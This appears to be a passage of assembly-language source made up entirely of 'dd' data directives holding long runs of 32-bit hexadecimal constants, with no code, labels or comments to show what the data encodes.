dd 8C011680h, 0AAAE5400h, 5BE15193h, 0BE5A000Fh, 959C4B0Bh
dd 34756AFCh, 0C007C90h, 0A6B1E593h, 59524Ch, 0DC699624h
dd 0BF6CD10Bh, 0B4B73Ah, 419C7A6Ah, 0C14BEEh, 0A536BFAh
dd 0F3A59A2Bh, 8C4A5B00h, 7BA3F4A4h, 36230049h, 227BD0Fh
dd 700B280h, 432B55AAh, 3EC78EC4h, 8B00D093h, 565D2E1Dh
dd 9F007BB2h, 5F0A10F8h, 189E3Dh, 4B488443h, 5C3B230Fh
dd 12081F07h, 9D40213Eh, 1FA21BA1h, 0C18729C6h, 7774D4FDh
dd 10FAD833h, 5EF44900h, 0B0357E7Fh, 0EB0400ECh, 6F11C1F3h
dd 7C05FC24h, 0E57DF9Bh, 0E45670D0h, 31FA00DCh, 80390640h
dd 550EA5F9h, 0CFD1935Ah, 67009CF4h, 788A7FB0h, 0DD1800A8h
dd 6B8BE315h, 0DF01BA0Fh, 0C3AAA580h, 0CB60FBCBh, 1150FDEh
dd 0ADE91228h, 3E7350A2h, 5BAB1F40h, 54DBFE04h, 0D9C20D52h
dd 9064C32Bh, 201F667h, 88FECFB3h, 9EC07CD8h, 50B8EA5Dh
dd 875BAC09h, 30F081A9h, 0ADC8A7E3h, 0FDB50003h, 3E2EA609h
dd 0E72E515Bh, 0B4000C5Dh, 266DA2BAh, 42340038h, 5CAFC992h
dd 0CF131651h, 0FC054B40h, 8D80FFBCh, 219A354h, 56D903EDh
dd 3FE09C52h, 8D00C5A0h, 737EF625h, 7AD51DC8h, 220D0049h
dd 0A197554Ah, 0BF1728ACh, 6907626Ah, 60A18667h, 8EDCE923h
dd 9E771292h, 0B13A05B9h, 80FBC479h, 0AB417134h, 125BBE30h
dd 0C049D6FFh, 16A68F50h, 1A2AD415h, 6900B8A8h, 0B82B2A02h
dd 0B805C2BAh, 7FFB00B2h, 0F07CB1CAh, 0D403CF48h, 833DE644h
dd 0BE6009C4h, 8863DE4Ch, 639236C8h, 0B2356B1Dh, 0A3375601h
dd 10408641h, 0C0C0AB3Ch, 9A1B4239h, 33744522h, 685B260Fh
dd 0FB4480BCh, 30D499h, 86BFC78Ah, 0E8200428h, 0C4DB901Fh
dd 2A6060B0h, 4069C313h, 12D0CBF8h, 6D01BF03h, 1BE7B1F2h
dd 6C20BA23h, 3FB60102h, 0E89EBE81h, 0BBA1F4D3h, 16A633Fh
dd 8841C48Ah, 0DCD06FEAh, 0A1C360D0h, 49B8873Eh, 620720EEh
dd 0C08FAAABh, 0EF7A0EC0h, 3E0E67Bh, 1DE45804h, 0C480BDB8h
dd 64004EDCh, 0A1292DFFh, 381740A9h, 0A7808CBBh, 0B9B20E59h
dd 0B871751Eh, 1F9D6F13h, 0AB9E3000h, 397797Ah, 5576A180h
dd 0C4A01EB1h, 7200D878h, 0D31A823Ah, 0F9652Eh, 0CC4FB3C5h
dd 4192E107h, 1E531800h, 807576E7h, 0F49024h, 1357B9ABh
dd 154AC32Fh, 0E6C9B70Eh, 8131C0B8h, 1C235483h, 804FC687h
dd 0F88E3313h, 0A5073A8Ah, 73028C76h, 0B96C9D90h, 59AF003Ch
dd 0C448DC70h, 7501CFA9h, 84A797ABh, 0EC549FC9h, 7BA043Ah
dd 70DD4238h, 0CED7C2D1h, 0C126199Fh, 35DFD43Bh, 0AB7260DEh
dd 1300A87Ch, 116C8F4Dh, 3F6ACEh, 1926414Bh, 3982C598h
dd 18580F00h, 0AA36DAB8h, 0B6B40081h, 963457C2h, 0AB3017F7h
dd 0DC0179C5h, 0A7B402C1h, 52EAB847h, 0A506A9E0h, 9EA1BC67h
dd 0E90B6AB3h, 2D304D1Ch, 0AEE10709h, 6145B9C1h, 0C4C5943Ah
dd 9626399Bh, 763E2C48h, 18C0E677h, 8B4ECCDh, 10AC6766h
dd 0E2EFE33Fh, 9A7B2806h, 0E2689E5Bh, 6B671F20h, 36E0011Bh
dd 42699DB2h, 42F53488h, 0BB0800C1h, 267FF28h, 0A3AD3F31h
dd 0CFFCD08Eh, 0CDC02C00h, 55F5C186h, 98208822h, 49C40090h
dd 0BB50BE5Eh, 0A00895Dh, 64421C35h, 60333AF6h, 201E786Ah
dd 8560E346h, 21C24182h, 4F310C66h, 1F689C02h, 49DF6500h
dd 0D019860h, 0D884A3BBh, 50A14245h, 52D2B4CEh, 53A0F8BCh
dd 2F00515Eh, 0DA486583h, 0F8593A24h, 1E2EF852h, 0FD18F7h
dd 71C71BF2h, 5A0E83DAh, 607DBE72h, 3D212E4Fh, 12260068h
dd 0C02A5D62h, 0BE0C5264h, 69BBDF35h, 6D94A17Fh, 0E63FAE8h
dd 640A3CC3h, 7921A68Ch, 4FEE000h, 3E08F923h, 0CD3D3301h
dd 46D07BD0h, 201D2FAh, 3912FC98h, 0E040BA4Ah, 48210B29h
dd 3D063060h, 18B98A09h, 0CB48C40Fh, 0ECED053Eh, 0FA9F8400h
dd 706D5674h, 5AF1011h, 4F3400CCh, 0D0B52091h, 44AA5C38h
dd 9EC2B900h, 3D0F275Ah, 1EFD8718h, 0A70BF20h, 0AE6F0EA7h
dd 6EA27320h, 29BE5430h, 8184DE7Ch, 370EFED7h, 88A318D2h
dd 0FE00D37Ch, 19A8F93Eh, 70299483h, 67371D12h, 1468B0EDh
dd 1702415Dh, 0E0BC6120h, 1724C497h, 896024h, 0C3EA48B0h
dd 8CC7847h, 10221D5h, 52B98968h, 0F7A4BBE3h, 808E193Fh
dd 33CDAC49h, 2CC71A7Eh, 40E4A669h, 21FB6D5Fh, 98734501h
dd 9A034CCAh, 102C68D1h, 0FD148500h, 67CF013Dh, 33ACD200h
dd 4677CB63h, 66D05CDh, 0E67942h, 91169C4h, 0D4A0BD8Eh
dd 0EF0F895Ch, 8556A65Fh, 24C047C8h, 6343E22h, 0B19A3707h
dd 9E0738E4h, 0B2D03140h, 903CBA22h, 181159A8h, 11ABDFB3h
dd 1B7FC345h, 36A34300h, 0AE3DA003h, 4ECE85Bh, 0C3472F5Fh
dd 7610D89Ch, 8D94C007h, 0B08A293Bh, 8C31900h, 2C180Dh
dd 8ACE2AEFh, 68D4AE1Fh, 63CA3D00h, 0CD623E7Eh, 0ACBC7B5Eh
dd 89641FC0h, 8868D12Ah, 6C0683CCh, 13A09589h, 477AB04Fh
dd 45EDCB02h, 0AFBAA6B8h, 5782E0B8h, 9B31C4Bh, 2FCF461h
dd 0A9DA1480h, 3D281733h, 290184D4h, 95C745Fh, 4004585Bh
dd 18FE3A0h, 0C72B19D4h, 6801E46Ah, 6B4522FBh, 7E886918h
dd 51FD0013h, 0E6AAE5ADh, 0E49060F0h, 9DB3C40Ah, 8F82C497h
dd 6ADD9A45h, 0BD808430h, 41D448D0h, 0A8FBE8C4h, 26424488h
dd 9466A9h, 41687E3Ah, 0D7509B39h, 0FF0AEDBCh, 0DCBDD0AEh
dd 465CA09h, 6460663Ch, 45231EFBh, 274114Bh, 24FD0F82h
dd 7ACB8002h, 590141CBh, 3E003819h, 4B66E4A5h, 9D480A39h
dd 0F66A0438h, 0E8908150h
dd 0E2497Eh, 7B4218F4h, 977AF111h, 70FE4C92h, 0DE00118h
dd 99A3378h, 1FA9FE34h, 0D656EC82h, 9F0044D8h, 628029DEh
dd 0E23344Bh, 22843FBAh, 421E28Ch, 837238h, 0E3B70A8Ah
dd 18668E61h, 0E9B1ACC7h, 8400FAA0h, 40A4EF9Dh, 6FEAF1h
dd 7F41E685h, 0CA83B71Bh, 0CA809F48h, 465E9419h, 8D5D0072h
dd 0D07EDB3Dh, 5180233h, 43A44239h, 818ED081h, 0CE906092h
dd 35951207h, 386A414Fh, 6A806811h, 3B4528FBh, 8067448Ch
dd 0B7FD1500h, 417E059Ch, 8024F5A5h, 213600E5h, 1A48EAF3h
dd 0CC05E8BDh, 9B624118h, 0B9DCBC04h, 0F9B0E490h, 982506A6h
dd 21FAE947h, 6D986A61h, 844EB4F7h, 0A0C573C8h, 0D4B54F83h
dd 46F96082h, 6E7D08h, 605BA43Dh, 4624A254h, 3ACEC40Bh
dd 140CA01Bh, 334D56Ch, 0B308CD4h, 27C1E52Eh, 0CB587046h
dd 20CADDA1h, 0C9C3AA02h, 15BC3D8Eh, 84C5A4A1h, 46B8E300h
dd 8F72C7Ah, 69B3CB0Ch, 0B1559099h, 18A27918h, 3CA12E6h
dd 9A2422A1h, 91027066h, 8F9FB712h, 0E408651Ah, 9BD66074h
dd 0AE106B0h, 79A8DE3Bh, 3D610600h, 4744B16Ah, 7A8A01B4h
dd 0D907F59Fh, 0E450F4C8h, 8F1BD6FAh, 0C071C649h, 9992E99Ah
dd 0F6A90A1Ch, 0A361FE4h, 58C8C35Dh, 0C49C3A17h, 54D7C8B0h
dd 0EC5D5ADDh, 95370984h, 349FC3Dh, 575F5CD2h, 6EB75880h
dd 0CADCB814h, 3F34C7ACh, 38682469h, 0B8027C8Dh, 0FEDC3071h
dd 0DA371111h, 7D82AB88h, 9198FED4h, 0E186CA8h, 44DCFD05h
dd 948B9A5Bh, 0FD598C00h, 0FB9358FAh, 601F7000h, 1DB935BDh
dd 0E9D0601Eh, 0A796F0EFh, 78B5094h, 808488B8h, 80604D3Fh
dd 0EBC6082h, 8140B198h, 3E288966h, 402B1878h, 4E00049Eh
dd 0D948D089h, 98A23Ah, 0F1EF1E82h, 0ED4E067h, 10CB6404h
dd 84D0BC76h, 3F134FF9h, 0D806C9Ch, 0BD917701h, 0E006F1Dh
dd 0C8336472h, 57F7AFh, 62DF0C3Ch, 1F0F29D6h, 713BCCA0h
dd 3FB02B0Eh, 185A8621h, 12151ACCh, 0A06160ADh, 84118D9h
dd 403E2B89h, 540D2C4h, 0B468969h, 41190701h, 0C59840CFh
dd 0CEA2C463h, 74B5330h, 57E1FA3Bh, 0E1FCC7EBh, 40C26338h
dd 200A30B8h, 414B6B1Fh, 2B589D94h, 6701B80Fh, 703E3589h
dd 21C0D118h, 0CA894F07h, 0DC431C7Dh, 0C7FC017h, 0BEB54245h
dd 82407891h, 4BC749h, 45835BFBh, 0F8AC5CC8h, 0DF644A00h
dd 6B5AEFBFh, 20C41E43h, 292C8E54h, 986FBE84h, 0FE12D660h
dd 5C12370Fh, 0DC1828h, 3A196B5Fh, 0D42A052Bh, 9A1EEEB0h
dd 90810159h, 301EB833h, 4822ADF4h, 6A0004E0h, 1B9FE1B2h
dd 65583CDAh, 6056014Ch, 785FDE47h, 21EA0898h, 0E63B6D21h
dd 0A29489F6h, 48ED0C0Bh, 4BBDA15Fh, 670A4FCh, 0F540E75Bh
dd 364660DFh, 45E64102h, 43304056h, 691D809Eh, 35E63Eh
dd 19C67192h, 0E4ED847Dh, 171B00C4h, 7A1C2B36h, 0E498B830h
dd 80BC4E37h, 0B084DF90h, 0E6715Eh, 43795A20h, 9976DAD1h
dd 370761FCh, 0DE6E3242h, 31EC1820h, 0DCFE26h, 97518D9Fh
dd 337E173Dh, 3E67C202h, 9031BC79h, 11E6645Ch, 9E685644h
dd 6C1E21B1h, 1F6016D9h, 5D6B0041h, 6A513D45h, 88C51CD1h
dd 0BC311A64h, 29FCEA5Fh, 744D2B96h, 80389198h, 5643E663h
dd 0E96E8C50h, 0E66B4021h, 0EEEEC9Dh, 0E0074983h, 0A2628C3h
dd 83DCF23Eh, 0D66EDA82h, 3BF10127h, 0A8629844h, 9CBAD84Eh
dd 183A9E3Ah, 6120D9F3h, 0C9B018Ch, 0F9347C43h, 0ABB442A9h
dd 6B461844h, 42E66602h, 0EB317856h, 0E64E1C10h, 0D4CFF40Ch
dd 3861F5h, 0BABEC2E1h, 4A3B7BBCh, 2EAF2300h, 0CA5E40EBh
dd 3029F064h, 1B319C91h, 0EA48CDD5h, 40792900h, 1218E859h
dd 8DF6C0FBh, 101C3349h, 3512B6FEh, 9904603Ah, 0C20C6F56h
dd 1922D771h, 0EBEC077Ch, 1147F188h, 0CC42AB29h, 3406279Ah
dd 0DE034FDFh, 7B7A7AA9h, 0CD5F76FDh, 6B096720h, 6E0C8218h
dd 2F0D00FDh, 0C778B3CDh, 2D03B532h, 0A78F9CD4h, 2CD94249h
dd 803081E2h, 0FFF3003Eh, 0C7B4A77h, 706252Ch, 369BADF7h
dd 78952468h, 0ED465E6Ch, 25D17607h, 0BD6AF34Ah, 57A07FA7h
dd 382351BEh, 2700A091h, 67BF367Eh, 9A400AFh, 0A146E677h
dd 0E8194B9Dh, 68D82DB2h, 0FB048218h, 98535F85h, 9B208332h
dd 1EFD2Dh, 0E8C8E37Ch, 0E00D735Ch, 9C9191F4h, 60603D64h
dd 567248E6h, 1AC06499h, 0FD0E668h, 531674E8h, 0E500BC88h
dd 9F5E20ECh, 8D8C098h, 0D817AC36h, 0E50C0D4h, 4E3DB0D5h
dd 0D9DD0039h, 49DA89B9h, 4280B02Ch, 9EA86498h, 5BC03A42h
dd 20639B8Ah, 90AB9904h, 572003A2h, 0CA656C31h, 983A5A58h
dd 6F018E23h, 3E33EF51h, 806D4091h, 5F32FD29h, 229A432Bh
dd 709C038Fh, 0C46E16FDh, 59BE2EB0h, 5F6BA300h, 0D0F315CAh
dd 0C617FDAh, 2C302F81h, 0BFF299F1h, 6983CE07h, 35B056A7h
dd 2A0580Eh, 0AA024B17h, 0B844D203h, 182D3422h, 19CA53A4h
dd 0C0302957h, 5BEDF8D6h, 1896601Ah, 4F9C351Dh, 32C0DE50h
dd 88BC7200h, 42027AC8h, 5E7771h, 405BE47h, 41B2518Ah
dd 9EA8F664h, 0E4003C8Dh, 2482AC32h, 91448E65h, 0FB7C8066h
dd 8C635F7Bh, 909D8444h, 7EEE00C0h, 0CF5F99D7h, 9C1232E6h
dd 0AC014393h, 7433ACE5h, 708FDCFDh, 41895A5Fh, 0A0599400h
dd 58320FEDh, 3069785Bh, 7E12FB85h, 80388B5Fh, 0FD2C00A0h
dd 0E4386B90h, 843F9CDBh, 561C8254h, 0C0692021h, 0B1DAA284h
dd 19E7D1E4h, 123FC7D8h, 5F2429Ah, 30EC1F02h, 9E53A2D0h
dd 17C8B40h, 0A8252BC5h, 23DA6E5Dh, 9E43A1B8h, 0B93F840Ch
dd 0D3FF8051h, 78A10516h, 0E0702A8Fh, 28A2FC88h, 4E0EF19h
dd 1087AC34h, 0F1CA02B5h, 0D4A88126h, 30ACE70Fh, 16440834h
dd 116C1749h, 7F4C7E4h, 3D7DF240h, 793F3EE0h, 91605748h
dd 0FEF10D8Eh, 64586600h, 6029896Bh, 0DB5F1239h, 71FC089Bh
dd 639841C0h, 864676A8h, 5A214060h, 109B89h, 83AFD1A8h
dd 0C742842Fh, 6BE52E0Bh, 9258A049h, 90D4EB78h, 0C2530724h
dd 0C0D8C381h, 0A1252A3Fh, 511FD3FBh, 3E8069F3h, 9CBF7A21h
dd 0F68B00C5h, 6443C804h, 0E40BD8FFh, 0A0DC3957h, 6F4734FCh
dd 41A66091h, 9A435F1Bh, 0B3BEF4A0h, 4582C80h, 0B857A96Eh
dd 88588E47h, 0DBA5C08Fh, 91F2AE65h, 0EC29590Bh, 53BC2384h
dd 0E50FDCDAh, 0C8C9B084h, 78C2BA0h, 0A8619843h, 68586836h
dd 0DF98004Bh, 7A843D0h, 0EC99542Ch, 8ACF70Ch, 0BA8B0EDCh
dd 0C60ED96Fh, 26642383h, 30EE5CE9h, 374C40DCh, 143CD4ECh
dd 2CC044D9h, 896098F9h, 70EE561h, 8379A4C2h, 11107190h
dd 84002067h, 47A95D00h, 72A6C7A0h, 31DFF40Bh, 4D93E09h
dd 509C57CAh, 115FA4A6h, 0B2370F00h, 5C80E74Ah, 1E2B2C70h
dd 0ABF7C364h, 4708C101h, 0BFAF3B5Dh, 11361FCh, 6D191DC4h
dd 0EC7B58D7h, 0F0BA0AACh, 0F2E4A085h, 7D0FE360h, 9775CD00h
dd 0AC35F742h, 0F82F6B8Bh, 8311401Dh, 65AF7380h, 1800A2ADh
dd 5E522CA3h, 4C8C29B0h, 54B0ECCCh, 0F630971Bh, 347FF1BBh
dd 37260119h, 3CDB7E2Fh, 0A3089867h, 3F307C21h, 94000119h
dd 0EB6AE66h, 0BB0B9F40h, 20D99778h, 48A1410h, 4DC60FF8h
dd 1F40742Fh, 9DA47E17h, 59D67204h, 80B61BCBh, 67016C23h
dd 70564FE6h, 1F8F8873h, 5C30E6C0h, 53098255h, 0A0A45Ah
dd 7F70BAD0h, 8408B12Fh, 23D91FE4h, 550AE47Dh, 0A846567Ch
dd 0A0705915h, 8A117188h
dd 27193380h, 25876737h, 7FF40C80h, 8E0011D6h, 0FB69E5C4h
dd 7BFA4B54h, 0AEA10084h, 951BFE3Ah, 4DE8525Fh, 7E30F754h
dd 357C1908h, 40A4C49Fh, 0F5193276h, 3B79004Eh, 7F7CEAB0h
dd 2A62B96Ah, 64A38EF8h, 5FD518F4h, 1A5C39BCh, 0E491C8AEh
dd 6918EA71h, 9F1160Ch, 0FD161D5h, 278DA00Fh, 1A71EEA0h
dd 5F0E6274h, 0C534D9D3h, 0CC1FEBF7h, 0F941CA45h, 0EE303882h
dd 26A4610h, 5F7FFB80h, 0BCE783h, 2FFD2B99h, 8D30CA7Fh
dd 0EC9EF03Ch, 0C3A503D5h, 0B29A5BA9h, 0F02FE04Ah, 0BB00E723h
dd 4F57C739h, 0AC36090Ah, 3409373Bh, 664C7466h, 0F8C7AA4h
dd 0A83F9845h, 0BDF488D1h, 0A3984D80h, 26E1D682h, 56179C78h
dd 0C4400601h, 0ED618C7Eh, 83BA00E7h, 7932855Ch, 5EFAC002h
dd 60010B0h, 7F4E5464h, 0BAF545A2h, 51F8BBBCh, 680188Dh
dd 9DA9D96h, 0E52639D4h, 733F6758h, 0E62BEC01h, 0E0020157h
dd 24EEA882h, 0E09831F5h, 0A0A8D7BFh, 0A07EB57h, 177A523Dh
dd 0ECC06937h, 39559D67h, 7CCCE508h, 1738D710h, 584F30BFh
dd 3A2A20A4h, 3B5E85h, 7F6AC016h, 6C399D4Fh, 27BC725Ch
dd 400375Ah, 0C193BD4Ah, 7DD3710h, 0B1D826h, 26AB2E34h
dd 516CCFCDh, 0EC3A41C2h, 12B85231h, 17FA92h, 0C5B040D1h
dd 0DF1B5181h, 0B82129D7h, 12FF2Ch, 3A947B60h, 0B3A53D24h
dd 2244C327h, 488FF494h, 3A06E8C0h, 0F800FF63h, 0E6A655BCh
dd 6800FCA3h, 1C894CBh, 29486CE0h, 71783341h, 3C481882h
dd 3A06EEB8h, 79BA5AD5h, 0BF300970h, 77BDF9ECh, 7D86016Dh
dd 0ED529BA1h, 5DBAF865h, 62830E1Ah, 51AC6230h, 18F7D9B8h
dd 2ED0E42Ch, 0BA46D72h, 0BC3065EEh, 0ACB9D72Dh, 0A54E5700h
dd 4FCC91h, 2BA2A6B0h, 0AAE3CD2Eh, 43FBB201h, 0ECA127C8h
dd 40091C70h, 0AC7E3445h, 0CC0104E7h, 125B75EBh, 2F4E5028h
dd 38E7239Ch, 11B9A28Bh, 98BBE180h, 60C03DCFh, 23089F8Ah
dd 376F05E6h, 0A6797E27h, 6564B01Ch, 2F4F0220h, 0E4F1E5FAh
dd 88214451h, 26D3C883h, 540C90F4h, 0DB9B076Ch, 40877D18h
dd 3925B28Ch, 0EC8EF62Ah, 28E2DD00h, 0C08F42F0h, 1A8C00FBh
dd 0B16F5141h, 0E45CB045h, 8CF4E858h, 5649AA00h, 0E651E321h
dd 403904B3h, 82B835F2h, 4F306F08h, 0A8651398h, 0C08B96h
dd 0E69B975Ch, 120F8372h, 82D6CC89h, 731ACD7Ch, 3B215054h
dd 8C133F02h, 0C016495Eh, 0C6711Bh, 6C6E8A39h, 6F2F9E91h
dd 0DD50EE15h, 22C3EC4h, 6629772Ah, 0A0084039h, 0D1B49147h
dd 25EC198Bh, 0AA0913B0h, 1E50027Eh, 2C78EE10h, 2CDE7A00h
dd 0D43957C3h, 0B833088Fh, 2880C904h, 0EB54BA4Bh, 0E76E8C5h
dd 6B7109A4h, 0CD40D0E0h, 0F9093AF8h, 9485BADh, 59B49240h
dd 188679A4h, 0F93D006Ch, 1DFC3309h, 0DF58B11Fh, 3C152493h
dd 0BF9C3202h, 6BA4E913h, 0BAD0F4E8h, 0F74B219Ch, 82198081h
dd 0A6184F35h, 19E47889h, 0D7FF07D6h, 0E0E6B07Bh, 0F7C45991h
dd 5D5A5E05h, 0C8CED0F8h, 1C9A4C8h, 3F6A0FB3h, 546203DDh
dd 2FE73300h, 1F527B42h, 245E6D01h, 15239C37h, 7C44D080h
dd 0B0126E56h, 0C4AC392Ah, 4B037000h, 57DFEF04h, 5320057Bh
dd 14659A2h, 0D89C3088h, 2F6C60C6h, 0FA9E4820h, 0AECE3E18h
dd 0B280A45Ch, 0FDD86EDBh, 59489C90h, 71D61CF8h, 8C411C92h
dd 0A7986732h, 9343197h, 18402FE9h, 937262EBh, 4902E98h
dd 0F933FC33h, 0B046B09Eh, 0DEB82631h, 9EC2CC0h, 0D4C03DCAh
dd 2491035Ch, 8F0E4E00h, 1CE74016h, 40F2737Ah, 0D68D53D5h
dd 0A53AF04Bh, 9124B010h, 5B5C2Fh, 8D5D34D5h, 264F327Ah
dd 23746709h, 0B39CA03Eh, 90247731h, 0AB9339F4h, 69739601h
dd 3849DD5Ah, 27AE0398h, 0D04CBAF6h, 0A7F4ACh, 5C74DB1Dh
dd 6309B3F0h, 700A149Ah, 0B4028E53h, 0A7D13900h, 9CADBBFh
dd 52A651C8h, 0A4913017h, 7A376481h, 4C80C015h, 0BBE22B12h
dd 0B5F7B806h, 0B1CD3A29h, 0BFE82A80h, 84084B6h, 0EB0098A4h
dd 0CDA05C7Fh, 112EE4h, 10D55E4Dh, 7CA9CFCAh, 33E3190Bh
dd 340082DBh, 228D2027h, 3CEC1757h, 6D015824h, 0EA90CC20h
dd 0E43AD61Fh, 0DA6001A7h, 89ECA588h, 94FC0CB3h, 5F78DB2Fh
dd 0F1255A12h, 67C47C80h, 0B8B148C8h, 3363057Ah, 53EDA259h
dd 8D8801B0h, 4E936D6Eh, 8F7C1120h, 8856D585h, 80513FF4h
dd 0B5F434B4h, 0F98FB10Ah, 8C08B8CEh, 193960F6h, 2CE33729h
dd 317DB060h, 64AB0019h, 0F62A5523h, 0FE053730h, 791A6FC0h
dd 0EDE148A2h, 0BD0C9Fh, 9A11E15Eh, 2586FDB3h, 0D003AC08h
dd 8BDA93DBh, 0C1E8C810h, 80B3F604h, 1D85A2B9h, 24009CAh
dd 6A568B4Dh, 58B57894h, 0ABF6C300h, 69C3D1Eh, 5DD53CD6h
dd 940A69B6h, 0FC316BE0h, 155A5305h, 7155E492h, 18A47114h
dd 0AB2F0072h, 6E363E0Ch, 8F5ACA23h, 8D691000h, 93FCF51h
dd 5438DEA8h, 0A7919C17h, 825FF58Eh, 23D59971h, 8DC56C48h
dd 0E5626909h, 115DE41h, 81420D5Ch, 1BA930D4h, 17DCB894h
dd 194BABCh, 165F839Dh, 5548922Ah, 0A523402Fh, 0A9853400h
dd 2824A40h, 0F15A58DDh, 50D8E5h, 0A2F4720h, 2489B3E7h
dd 0DB3A0EC0h, 4A095921h, 6BD420D9h, 0E50120B6h, 29EB9085h
dd 0B3504842h, 9119FBA4h, 0AB185735h, 93D7988h, 0AD911619h
dd 0C25FACC8h, 0FC4AED29h, 7DB2133Ch, 0E19EC082h, 0A0A70FD9h
dd 8691EC97h, 3CAC1F80h, 0A30022C7h, 5F764BF3h, 99F41DA2h
dd 0B4EA0904h, 186CA0C9h, 39FD0B26h, 2045735Fh, 0FD71A780h
dd 1CA2395Bh, 706580h, 7CE441E9h, 0E32FA88Dh, 0D5042213h
dd 7B5C0047h, 7D586A77h, 0CE1A8044h, 7169E65Fh, 1EBA0418h
dd 0F3B65260h, 30E9B2F4h, 371D23CAh, 541C7F99h, 19A26943h
dd 327003FDh, 0B931B4D3h, 0C4F4302Ch, 0B3A06040h, 340158ADh
dd 0AE2F5F3Ah, 0DDEBD402h, 0B3EE8887h, 3058BD5Bh, 0D20412C8h
dd 3A20C02h, 3A85C3Eh, 0D8AA0159h, 139C183Fh, 483EBCDCh
dd 0B00E723h, 7720C317h, 0DC6C006Fh, 2BE5303Ah, 89D7015Bh
dd 0C780A0DBh, 2B6FD97Dh, 0B812220h, 21930161h, 0D51BB800h
dd 8CAA6358h, 0A511709Dh, 0D821A80h, 0CD0A3A70h, 0B857D53Fh
dd 0A059DC80h, 1A3315B5h, 98DFF308h, 8B7978F9h, 5305D318h
dd 0E7B201B0h, 3A4B801h, 0D084A7F2h, 5699399Dh, 0ECA2A425h
dd 0D600703Ch, 30D5C026h, 0D800DDF0h, 92C98FF4h, 0D2470494h
dd 75C7A98h, 8FD1C117h, 4847269h, 2BC3B040h, 3720B45Eh
dd 8201B4EEh, 5BE6B833h, 3C2103C9h, 35DA3183h, 0B91E441Eh
dd 325B27Bh, 8059C420h, 0F08E2693h, 0C1DB00ACh, 0D6ADA4AFh
dd 560C44A0h, 588B2C31h, 0C253127Ch, 0E4BC509Dh, 8EA7E8h
dd 41BE4BCAh, 0E2E5461Fh, 7C25A0C0h, 968A22Ch, 33FE307Dh
dd 8E914C97h, 0FC5CD680h, 50045956h, 0D7E43742h, 0F00018ACh
dd 5DEEB8A1h, 74919E6Fh, 869E40F0h, 878D3C00h, 35E20918h
dd 2DB43A0Ch, 0A5452501h, 0D81DF107h, 1801A058h, 101BCECCh
dd 0BC2CA4D2h, 56DD3D03h, 9820352Fh, 718A4CD9h, 6E083C02h
dd 8C88562h, 0F72EE1A2h, 5596F4BFh, 0A688C0CBh, 0B57546C0h
dd 9B00966h, 3C827916h, 78CFF7D4h, 0C2965E40h, 8FD30990h
dd 887055FCh, 12EDB320h, 0DA528CC0h, 8C21C0CCh, 61A7A4h
dd 1641FAF7h, 7CEB7B62h, 4833C400h, 2C075D7Eh, 0B4212C56h
dd 2FEE859Ch, 23382EA7h, 330B07A9h, 0FDA2C1D8h, 5642011h
dd 97AFA894h, 80F79140h
dd 0D25B2017h, 27D89AAAh, 449782FBh, 60DA4008h, 0B3343C3Dh
dd 0D005DF8h, 2783BF75h, 4A04B8F7h, 0C244D1D7h, 0A93EFCBAh
dd 84941F00h, 52ADE9ABh, 0F21A07FAh, 26DB043Fh, 0F10031D1h
dd 56BE811Ch, 28EFC3Eh, 9C3409DFh, 0DC80E7A7h, 82E61045h
dd 80BC3595h, 7AAA8A4Dh, 510186CBh, 0BF6B2C09h, 7D009E33h
dd 0BA00843Ah, 4956D6D5h, 0FAF0C3E6h, 0B42B5390h, 0D530F9A2h
dd 1FDBEA4Ah, 1624E592h, 1EA82009h, 8B5F0210h, 0EB231C3Bh
dd 36065D01h, 0DC68E7C4h, 8EDFEA04h, 0C2B8D86Fh, 30370605h
dd 1094320Bh, 0BD85B431h, 1E23830h, 6B71647h, 3351D8A1h
dd 338FA2F8h, 72BA62F8h, 0B30BA87Ah, 0A1DC0A01h, 916E230Ch
dd 2A3F2000h, 0DCF3592Ch, 0BD2C17ADh, 0F4790046h, 3B64F08h
dd 16AC92B4h, 5221D933h, 0A128E32Ch, 220C9E40h, 0E6BEC00h
dd 0B66CEFF8h, 33E33EF1h, 23A82F5Fh, 5B8D0F90h, 749C33A7h
dd 4F5C85DBh, 0A6E4428Ch, 0C7B0D0BDh, 0B8A530FAh, 0E638EE4h
dd 80430CE1h, 0A0567CACh, 0F846F315h, 24CCB8C2h, 12347450h
dd 0E784E633h, 0D7718A61h, 1A5BA20h, 7F9B2809h, 2C2BE0B3h
dd 0A70D7FD4h, 59BBA38Fh, 84BC3C68h, 17EA008Ch, 5475A5BAh
dd 0D2B05680h, 2405EE13h, 0D10F6CE2h, 0B6E03Bh, 7BD70A48h
dd 0D517B483h, 0D053175Ah, 0A223103Ah, 3D0A6E00h, 9ACA7Ch
dd 0F75E0BD3h, 55571488h, 0A6568D13h, 0A8C8F48Bh, 2BC1F6C0h
dd 0C7060125h, 3A35DEE1h, 28684369h, 631A1799h, 916F01B4h
dd 6382E8DEh, 3FBC107Ch, 8400DA43h, 4071EB04h, 7307495Eh
dd 22190E6Ch, 8E50C0E9h, 9ACB9ADh, 0F0C8F7EFh, 0A9736E59h
dd 236FFC05h, 889B22Ah, 0D023C2E1h, 0D830EDA2h, 0C57D0F4Ah
dd 0D147FC67h, 0ADF690B5h, 80973903h, 3D38B94Ch, 803C9EBFh
dd 0AE806E55h, 0E6030CE5h, 4446B6A1h, 434E809h, 3B583BA0h
dd 0FCB014F9h, 0F8BC9082h, 8005D943h, 88CA51A9h, 0E45E3CA0h
dd 0D40A0844h, 0F432D50Fh, 60F0C7C0h, 9D05A4Dh, 0D03C2157h
dd 2CEE0504h, 29DA006h, 0E16BE520h, 89125C71h, 6C811865h
dd 79D63580h, 367A6158h, 5787D019h, 0C1E96007h, 667022ACh
dd 95F7CC17h, 33777420h, 0E41EC786h, 0B0C080E8h, 2F1FA33Dh
dd 0B27302D1h, 351E7821h, 990BCC0h, 311BA013h, 8D232C2Fh
dd 84EF2E04h, 1D090085h, 807CF0A8h, 3D9E56C6h, 32CE28D3h
dd 0D47941D8h, 0A918A0D9h, 0BEC948h, 74CB892h, 0BC08525Ch
dd 0E8F181D0h, 0E0874311h, 44009B5Eh, 0AA6BA76Ch, 4BAC31AFh
dd 0A22484FFh, 3282F29Ch, 60F2A901h, 0A10C20C1h, 0B0F3C40h
dd 0D73FF77Bh, 0C5B09890h, 0EC8F210Fh, 6B468034h, 199DB11h
dd 5DA6BB8Bh, 0D3854788h, 36EC3AE0h, 0E574A095h, 16FB7D4h
dd 23C9403Ch, 30AF478Ah, 43F8B8D4h, 846E896Fh, 0CADE0BCh
dd 0C438CB5Ah, 1E309FEAh, 7505D649h, 0EEF6C65Bh, 0EBE828A8h
